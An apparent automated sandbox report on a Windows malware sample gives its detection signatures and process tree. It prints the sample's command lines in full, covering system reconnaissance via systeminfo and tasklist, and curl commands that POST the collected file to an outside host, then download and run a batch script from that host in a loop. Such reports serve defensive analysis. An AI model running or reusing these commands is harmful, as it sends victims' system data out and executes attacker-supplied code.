Analysis

  • max time kernel
    148s
  • max time network
    130s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/07/2026, 08:09

General

  • Target
    5270c4c6881b7d3ebaea8f51c410bba8689acb67c34f20440527a5f15f3bc1e4.exe
  • Size 898KB
  • Sample260706-j2bf4afy4n
  • SHA256 5270c4c6881b7d3ebaea8f51c410bba8689acb67c34f20440527a5f15f3bc1e4
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
5/10

Malware Config

Signatures

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5270c4c6881b7d3ebaea8f51c410bba8689acb67c34f20440527a5f15f3bc1e4.exe
    "C:\Users\Admin\AppData\Local\Temp\5270c4c6881b7d3ebaea8f51c410bba8689acb67c34f20440527a5f15f3bc1e4.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4456
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5904
      • C:\Windows\SysWOW64\systeminfo.exe
        systeminfo
        3⤵
        • System Location Discovery: System Language Discovery
        • Gathers system information
        PID:5400
      • C:\Windows\SysWOW64\tasklist.exe
        tasklist
        3⤵
        • Enumerates processes with tasklist
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:5832
    • C:\Windows\SysWOW64\curl.exe
      curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C353237306334633638383162376433656261656138663531633431306262613836383961636236376333346632303434303532376135663135663362633165342E657865" -X POST -H "X-Auth: 2F4F554C4F4D5158452F41646D696E2F32" -H "X-Sec-Id: 0" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
      2⤵
        PID:4560
      • C:\Windows\SysWOW64\curl.exe
        curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C353237306334633638383162376433656261656138663531633431306262613836383961636236376333346632303434303532376135663135663362633165342E657865" -H "X-Auth: 2F4F554C4F4D5158452F41646D696E2F32" -H "X-Sec-Id: 3" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"
        2⤵
          PID:3304
        • C:\Windows\SysWOW64\curl.exe
          curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C353237306334633638383162376433656261656138663531633431306262613836383961636236376333346632303434303532376135663135663362633165342E657865" -H "X-Auth: 2F4F554C4F4D5158452F41646D696E2F32" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"
          2⤵
            PID:5960
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c "C:\Users\Admin\AppData\Local\Temp\tmp.bat" > C:\Users\Admin\AppData\Local\Temp\tmp.txt
            2⤵
            • System Location Discovery: System Language Discovery
            PID:976
          • C:\Windows\SysWOW64\curl.exe
            curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C353237306334633638383162376433656261656138663531633431306262613836383961636236376333346632303434303532376135663135663362633165342E657865" -X POST -H "X-Auth: 2F4F554C4F4D5158452F41646D696E2F32" -H "X-Sec-Id: 1" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
            2⤵
              PID:5536
            • C:\Windows\SysWOW64\curl.exe
              curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C353237306334633638383162376433656261656138663531633431306262613836383961636236376333346632303434303532376135663135663362633165342E657865" -H "X-Auth: 2F4F554C4F4D5158452F41646D696E2F32" -H "X-Sec-Id: 3" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"
              2⤵
                PID:236
              • C:\Windows\SysWOW64\curl.exe
                curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C353237306334633638383162376433656261656138663531633431306262613836383961636236376333346632303434303532376135663135663362633165342E657865" -H "X-Auth: 2F4F554C4F4D5158452F41646D696E2F32" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"
                2⤵
                  PID:1936
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c "C:\Users\Admin\AppData\Local\Temp\tmp.bat" > C:\Users\Admin\AppData\Local\Temp\tmp.txt
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:5896
                • C:\Windows\SysWOW64\curl.exe
                  curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C353237306334633638383162376433656261656138663531633431306262613836383961636236376333346632303434303532376135663135663362633165342E657865" -X POST -H "X-Auth: 2F4F554C4F4D5158452F41646D696E2F32" -H "X-Sec-Id: 1" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
                  2⤵
                    PID:5632
                  • C:\Windows\SysWOW64\curl.exe
                    curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C353237306334633638383162376433656261656138663531633431306262613836383961636236376333346632303434303532376135663135663362633165342E657865" -H "X-Auth: 2F4F554C4F4D5158452F41646D696E2F32" -H "X-Sec-Id: 3" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"
                    2⤵
                      PID:5316
                    • C:\Windows\SysWOW64\curl.exe
                      curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C353237306334633638383162376433656261656138663531633431306262613836383961636236376333346632303434303532376135663135663362633165342E657865" -H "X-Auth: 2F4F554C4F4D5158452F41646D696E2F32" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"
                      2⤵
                        PID:1104
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c "C:\Users\Admin\AppData\Local\Temp\tmp.bat" > C:\Users\Admin\AppData\Local\Temp\tmp.txt
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:4104
                      • C:\Windows\SysWOW64\curl.exe
                        curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C353237306334633638383162376433656261656138663531633431306262613836383961636236376333346632303434303532376135663135663362633165342E657865" -X POST -H "X-Auth: 2F4F554C4F4D5158452F41646D696E2F32" -H "X-Sec-Id: 1" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
                        2⤵
                          PID:2852

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

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                            Downloads

                            tmp.txt

                            • Path C:\Users\Admin\AppData\Local\Temp\tmp.txt
                            • Size 9KB
                            • SHA256 ca7e8f82ecdc8e7654e531ad3fd7938c39d9a69c5fa8e7708425d69f13559778
                            • MD5 SHA1 SHA512 SSDEEP TLSH